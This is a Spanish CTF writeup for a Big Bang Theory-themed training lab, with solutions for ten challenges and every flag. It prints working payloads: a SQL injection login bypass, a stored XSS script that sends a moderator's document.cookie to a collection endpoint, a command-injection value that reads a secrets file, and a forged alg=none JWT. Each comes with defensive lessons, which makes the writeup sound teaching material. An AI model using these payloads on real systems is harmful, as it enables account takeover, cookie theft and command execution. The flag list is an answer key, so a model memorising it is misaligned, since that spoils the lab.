Sheldon Cooper

Diversión con Banderas

Writeup completo — Ghost Academy CTF Labs · universo The Big Bang Theory
 
Flags resueltas en este writeup10 / 10

Cómo desplegar la máquina

bash startlab.sh diversionconbanderas.tar

La web queda en http://localhost:8080. El progreso se puede comprobar en /verificador, pegando cada flag que encuentres (barra 0/10 con feedback en vivo). Todas las flags están en formato DCB{...}: minúsculas, sin tildes, espacios por guion bajo.

1

Bazinga

Recon★☆☆☆☆☆☆☆
"¡Bazinga!"
view-source:localhost:8080/
<head>
...
<!--
    Nota de producción (recordatorio interno, quitar antes de publicar):
    DCB{bazinga}
-->
</head>

Vulnerabilidad: nota de desarrollo olvidada en un comentario HTML que sí llega a producción.

Pasos a seguir
  1. Abre http://localhost:8080/ en el navegador (vale cualquier página del sitio, la flag está en la plantilla base que comparten todas).
  2. Haz clic derecho → "Ver código fuente de la página", o pulsa Ctrl+U (en Firefox/Chrome).
  3. Busca dentro de la etiqueta <head> un comentario HTML (<!-- ... -->) con una "nota de producción".
Lección: el HTML servido siempre es legible por el cliente, aunque no se renderice visualmente. Nunca dejar notas, credenciales o flags en comentarios que lleguen a producción.
DCB{bazinga}
2

Ese es mi sitio

Recon★☆☆☆☆☆☆☆
"Ese es mi sitio."
localhost:8080/robots.txt
User-agent: *
Disallow: /el-sofa-de-sheldon
Disallow: /borrador-tesis-no-publicar
# Nota interna: mover /el-sofa-de-sheldon fuera de produccion antes de indexar

Vulnerabilidad: "seguridad por oscuridad" — ocultar una ruta privada listándola en robots.txt, público por definición.

Pasos a seguir
  1. Visita http://localhost:8080/robots.txt (con el navegador o con curl).
  2. Fíjate en las líneas Disallow: — ahí es donde el propio sitio te dice qué rutas "no quiere" que mires.
  3. Visita directamente la ruta indicada, /el-sofa-de-sheldon.
curl http://localhost:8080/robots.txt
curl http://localhost:8080/el-sofa-de-sheldon
Lección: robots.txt es una petición a los rastreadores, no un control de acceso. Cualquier ruta privada necesita autenticación real.
DCB{ese_es_mi_sitio}
3

El Contrato de Convivencia

Forense / metadatos★★☆☆☆☆☆☆
"No estoy loco, mi madre me hizo pruebas."
curl -O http://localhost:8080/static/files/contrato_de_convivencia.pdf && exiftool contrato_de_convivencia.pdf
Keywords : revision-v4-final;flag-QA;DCB{no_estoy_loco_mi_madre_me_hizo_pruebas}

Vulnerabilidad: datos sensibles filtrados en los metadatos del PDF (campo Keywords). Un strings/grep ingenuo no lo encuentra porque el escritor de PDF comprime los objetos internos — hace falta una herramienta que parsee PDF de verdad (exiftool, pdfinfo).

Pasos a seguir
  1. Ve a http://localhost:8080/contrato-de-convivencia y pulsa "Descargar Contrato de Convivencia" (o descárgalo directo con curl -O).
  2. Instala exiftool si no lo tienes (apt install exiftool / brew install exiftool), no uses strings o grep directamente sobre el PDF: no lo van a encontrar.
  3. Ejecuta exiftool contrato_de_convivencia.pdf (o pdfinfo contrato_de_convivencia.pdf) y revisa todos los campos de metadatos que imprime.
  4. Localiza el campo Keywords — ahí está la flag, mezclada con texto de relleno.
Lección: los metadatos (autor, software, revisiones, GPS en fotos) viajan con el archivo aunque el contenido visible esté limpio. Sanear antes de publicar: exiftool -all= archivo.pdf.
DCB{no_estoy_loco_mi_madre_me_hizo_pruebas}
4

La pizarra de las ecuaciones

Esteganografía★★★☆☆☆☆☆
"Lloro porque los demás son estúpidos, y eso me entristece."
localhost:8080/pizarra
Pizarra de ecuaciones

Vulnerabilidad: mensaje oculto en los bits menos significativos (LSB) del canal RGB del PNG.

Pasos a seguir
  1. Ve a http://localhost:8080/pizarra y descarga la imagen a tamaño completo (clic en ella, o curl -O .../static/img/pizarra_ecuaciones.png).
  2. Ninguna herramienta de vista rápida va a mostrarte nada raro — hay que extraer los bits menos significativos de cada píxel, no basta con mirarla.
  3. Ejecuta un script de extracción LSB (el de abajo vale tal cual) o prueba con una herramienta como zsteg / stegsolve mirando los planos de bits del rojo, verde y azul.
  4. El mensaje extraído termina en el delimitador ::END:: — todo lo que va antes de ese delimitador es la flag.
from PIL import Image img = Image.open("pizarra_ecuaciones.png") pixels = img.load(); W, H = img.size bits = [] for y in range(H): for x in range(W): r, g, b = pixels[x, y] bits += [str(r&1), str(g&1), str(b&1)] data = bytes(int("".join(bits)[i:i+8], 2) for i in range(0, len(bits), 8)) print(data.split(b"::END::")[0].decode())
Lección: la esteganografía oculta datos a simple vista, pero no los cifra. No es confidencialidad real, solo "que no se vea a ojo".
DCB{lloro_porque_los_demas_son_estupidos}
5

El videoarchivo de Fun with Flags

IDOR★★★☆☆☆☆☆
"El amor no es un misterio. Es simple química."
localhost:8080/fun-with-flags/0

Episodio 0 — Piloto (nunca emitido)

Grabamos un episodio piloto en 2007 que la cadena rechazó por "excesivamente técnico". Nunca se enlazó desde el archivo público.

🚩 Flag: DCB{el_amor_es_simple_quimica}

Vulnerabilidad: el listado público solo muestra los IDs 1–4, pero el servidor acepta cualquier ID sin comprobar si está "publicado".

Pasos a seguir
  1. Ve a http://localhost:8080/fun-with-flags y observa que los episodios listados van numerados del 1 al 4.
  2. La URL de cada episodio sigue el patrón /fun-with-flags/<id>. Edita la URL a mano y prueba IDs que no aparecen en el listado: empieza por 0, y si no diera resultado seguirías con 5, 99...
  3. El ID 0 carga un episodio "piloto" que nunca se enlazó desde la página pública.
curl http://localhost:8080/fun-with-flags/0
Lección: no enlazar un recurso no es protegerlo. El control de acceso tiene que vivir en el servidor, por cada ID, no confiar en que el cliente solo pida los que se le mostraron.
DCB{el_amor_es_simple_quimica}
6

La trastienda del Comic Center

SQL Injection★★★★☆☆☆☆
"Acepto tu premisa, pero rechazo tu conclusión."
localhost:8080/comic-center
SELECT usuario FROM usuarios WHERE usuario = '' OR '1'='1' --' AND password = 'x'

Vulnerabilidad: la consulta se construye concatenando la entrada del usuario. '1'='1' es siempre cierto y -- comenta el resto — la consulta devuelve el primer usuario sin conocer su contraseña real.

Pasos a seguir
  1. Ve a http://localhost:8080/comic-center.
  2. En el campo Usuario escribe: ' OR '1'='1' -- (con un espacio después de los dos guiones).
  3. En el campo Contraseña pon cualquier cosa, por ejemplo x — no importa, nunca llega a comprobarse.
  4. Pulsa Entrar. Te redirige automáticamente a /comic-center/foro, ya autenticado como el primer usuario de la base de datos (stuart), sin haber usado su contraseña real.
curl -c cookies.txt -X POST http://localhost:8080/comic-center \ --data-urlencode "usuario=' OR '1'='1' --" --data-urlencode "password=x" curl -b cookies.txt http://localhost:8080/comic-center/foro
Lección: nunca concatenar entrada en SQL. Usar siempre consultas parametrizadas (execute("... WHERE usuario = ?", (usuario,))).
DCB{acepto_tu_premisa_rechazo_tu_conclusion}
7

El libro de visitas de Fun with Flags

XSS almacenado★★★★★☆☆☆
"Te ofrezco una bebida caliente."
localhost:8080/libro-de-visitas

Tu ID de sesión: 9866773c

📬 Buzón: cookie capturada = DCB{te_ofrezco_una_bebida_caliente}

Vulnerabilidad: los comentarios se renderizan con | safe (sin escapar HTML). Cualquier <script> publicado se ejecuta en el navegador de quien vea la página — incluida la moderadora que revisa cada comentario nuevo.

El payload exfiltra document.cookie de la moderadora hacia el buzón propio del jugador, identificado por su ID de sesión.

Pasos a seguir
  1. Visita http://localhost:8080/libro-de-visitas y copia el "ID de sesión" que muestra la página (es distinto cada vez que empiezas sesión de nuevo, así que usa el tuyo, no el del ejemplo).
  2. En el campo Comentario, escribe un payload que, al ejecutarse como JavaScript, mande document.cookie a tu propio buzón: <script>fetch('/libro-de-visitas/exfil?player=TU_ID&c='+document.cookie)</script>
  3. Rellena el campo Nombre con lo que quieras y pulsa Publicar comentario.
  4. Espera un par de segundos — la "moderadora" revisa los comentarios nuevos justo después de cada publicación.
  5. Visita http://localhost:8080/libro-de-visitas/buzon: ahí aparece la cookie de sesión de la moderadora, capturada por tu payload.
Nota de diseño: para que el laboratorio sea autocontenido (sin depender de un navegador real dentro del contenedor), la "moderadora" está simulada: tras cada comentario nuevo, el servidor revisa si contiene un patrón de exfiltración hacia /libro-de-visitas/exfil que referencie document.cookie, y si lo encuentra, entrega la cookie real de la moderadora a ese buzón — exactamente el efecto que tendría un XSS almacenado real contra una víctima que abre la página con su propio navegador.
Lección: autoescape por defecto (nunca | safe con contenido de usuario), Content-Security-Policy, y cookies de sesión HttpOnly para que document.cookie ni siquiera las exponga.
DCB{te_ofrezco_una_bebida_caliente}
8

El protocolo Toc-Toc-Toc

Command Injection★★★★★★☆☆
"Toc, toc, toc, Penny. Toc, toc, toc, Penny. Toc, toc, toc, Penny."
curl -X POST http://localhost:8080/protocolo-toc-toc --data-urlencode "nombre=x'; cat /app/secrets_flag8.txt; echo '"
Sin coincidencias en la lista de invitados autorizados. DCB{toc_toc_toc_penny}

Vulnerabilidad: el nombre se concatena sin sanear en subprocess.run(f"grep -i '{'{nombre}'}' {'{ruta}'}", shell=True). Cerrando la comilla con ' y añadiendo ; se ejecutan comandos adicionales.

Pasos a seguir
  1. Ve a http://localhost:8080/protocolo-toc-toc.
  2. En el campo Nombre a verificar, introduce un valor que cierre la comilla simple del comando y encadene uno propio: x'; cat /app/secrets_flag8.txt; echo '
  3. Pulsa Verificar y lee el resultado — junto al mensaje habitual de "sin coincidencias" aparece la salida de tu comando inyectado.

La cadena ejecutada por el shell queda como tres comandos separados por ;: el grep original (inofensivo), el cat que lee un fichero fuera del alcance previsto por la app, y un echo de relleno para cerrar la sintaxis correctamente.

Lección: nunca shell=True con entrada de usuario. Pasar argumentos como lista (subprocess.run(["grep","-i",nombre,ruta])) o evitar invocar un shell por completo.

Bonus: con ejecución de comandos también se puede leer el propio código fuente de la app — un RCE real rara vez se queda en "una sola flag".
DCB{toc_toc_toc_penny}
9

La Cámara de Damas

JWT alg=none★★★★★★★☆
"La necesidad de encontrar a otro ser humano para compartir la vida siempre me ha asombrado."
header = {"alg": "none", "typ": "JWT"} payload = {"nombre": "Sheldon", "role": "admin"} token = b64url(header) + "." + b64url(payload) + "." # eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJub21icmUiOiAiU2hlbGRvbiIsICJyb2xlIjogImFkbWluIn0.
curl --cookie "camara_token=$TOKEN" http://localhost:8080/camara-de-damas/panel
🚩 Acceso de administradora concedido. Flag: DCB{necesidad_de_compartir_la_vida}

Vulnerabilidad: el panel confía en el alg que declara el propio token: si dice none, se salta la verificación de firma por completo. El secreto real (HS256) es aleatorio e infactible de adivinar — el fallo no está ahí.

Pasos a seguir
  1. Ve a http://localhost:8080/camara-de-damas y entra como invitado con cualquier nombre. Te redirige a /camara-de-damas/panel con una cookie camara_token nueva.
  2. Abre las DevTools del navegador (F12 → pestaña Application/Storage → Cookies) e inspecciona el valor de camara_token: es un JWT normal, header.payload.firma separados por puntos. Decodifícalo en jwt.io para ver su estructura — role: "guest".
  3. Construye tu propio token con cabecera {"alg":"none","typ":"JWT"} y payload {"nombre":"Sheldon","role":"admin"}, codificados en Base64URL y sin firma (el token termina en un punto seguido de nada): usa el script de más abajo.
  4. Sustituye el valor de la cookie camara_token por tu token forjado (desde las DevTools, o con curl --cookie).
  5. Recarga /camara-de-damas/panel: ahora el rol es admin y se muestra la flag.
Lección: fijar explícitamente del lado del servidor qué algoritmos se aceptan al decodificar (algorithms=["HS256"]) e ignorar por completo lo que declare la cabecera del token recibido.
DCB{necesidad_de_compartir_la_vida}
10

La caja fuerte de Meemaw

Criptografía★★★★★★★★
"Por supuesto que no soy Newton. Yo habría descubierto la gravedad sin necesidad de la manzana."
echo "NDQ0MzQyN2I2ZTZmNWY3MzZmNzk1ZjZlNjU3Nzc0NmY2ZTdk" | base64 -d
4443427b6e6f5f736f795f6e6577746f6e7d
echo "4443427b6e6f5f736f795f6e6577746f6e7d" | xxd -r -p
DCB{no_soy_newton}

Vulnerabilidad: ninguna técnica — es ofuscación en dos capas (Base64 sobre hexadecimal), no cifrado real.

Pasos a seguir
  1. Ve a http://localhost:8080/caja-fuerte-de-meemaw y copia el bloque de texto codificado que deja Meemaw.
  2. Decodifícalo de Base64 (con base64 -d, CyberChef, o Python base64.b64decode(...)). El resultado es una cadena de caracteres hexadecimales, no la flag todavía.
  3. Decodifica esa cadena hexadecimal a texto ASCII (xxd -r -p, o bytes.fromhex(...) en Python). Ahí sí aparece la flag completa.
Lección: codificar no es lo mismo que cifrar. No aporta confidencialidad, solo ofuscación reversible sin necesidad de ninguna clave.
DCB{no_soy_newton}

🎉 ¡Bazinga! Resumen de las 10 flags

Eres oficialmente más observador que Leonard.

#RetoCategoríaFlag
1BazingaReconDCB{bazinga}
2Ese es mi sitioReconDCB{ese_es_mi_sitio}
3Contrato de ConvivenciaForense/metadatosDCB{no_estoy_loco_mi_madre_me_hizo_pruebas}
4La pizarraEsteganografíaDCB{lloro_porque_los_demas_son_estupidos}
5VideoarchivoIDORDCB{el_amor_es_simple_quimica}
6Comic CenterSQL InjectionDCB{acepto_tu_premisa_rechazo_tu_conclusion}
7Libro de visitasXSS almacenadoDCB{te_ofrezco_una_bebida_caliente}
8Protocolo Toc-Toc-TocCommand InjectionDCB{toc_toc_toc_penny}
9Cámara de DamasJWT alg=noneDCB{necesidad_de_compartir_la_vida}
10Caja fuerte de MeemawCriptografíaDCB{no_soy_newton}